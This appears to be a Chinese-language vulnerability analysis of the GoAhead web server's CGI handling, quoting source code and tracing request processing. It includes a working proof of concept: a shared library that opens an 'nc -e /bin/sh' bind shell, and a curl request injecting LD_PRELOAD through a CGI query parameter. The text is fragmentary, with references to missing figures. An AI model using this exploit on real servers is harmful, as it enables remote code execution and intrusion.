PUBLIC char *websGetCgiCommName()
{
return websTempFile(NULL, "cgi");
}
PUBLIC char *websTempFile(char *dir, char *prefix)
{
static int count = 0;
char sep;
sep = '/';
if (!dir || *dir == '\0') {
#if WINCE
dir = "/Temp";
sep = '\\';
#elif ME_WIN_LIKE
dir = getenv("TEMP");
sep = '\\';
#elif VXWORKS
dir = ".";
#else
dir = "/tmp";
#endif
}
if (!prefix) {
prefix = "tmp";
}
return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}
进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。
git clone https://github.com/embedthis/goahead.git cd goahead make cd test gcc ./cgitest.c -o cgi-bin/cgitest sudo gdb ../build/linux-x64-default/bin/goahead
#include
#include
static void main(void) __attribute__((constructor));
static void main(void) {
system("nc -lp 8888 -e /bin/sh");
}
// gcc --shared -fPIC poc.c -o poc.so
构造HTTP请求发送
curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
websOpen函数会根据配置启动相应的代码模块
其中关于cgi请求的回调函数通过
其中关于cgi请求的回调函数通过websDefineHandler函数定义。
websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。
在websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。
其中websAlloc函数调用initWebs函数对Webs结构体进行初始化。
此时Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的
调用websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。
processContentData函数调用writeToFile函数将上传的数据保存在临时文件中,并修改上传状态为UPLOAD_BOUNDARY判断数据是否上传完毕。
https://tttang.com/user/phith0n https://www.elttam.com/blog/goahead/#content https://bestwing.me/CVE-2021-42342-Goahead.html https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg https://xz.aliyun.com/t/6407?accounttraceid=17d50e3cca724b7d82f4ba4c85506a88yzpw
本文作者:合天网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/186339.html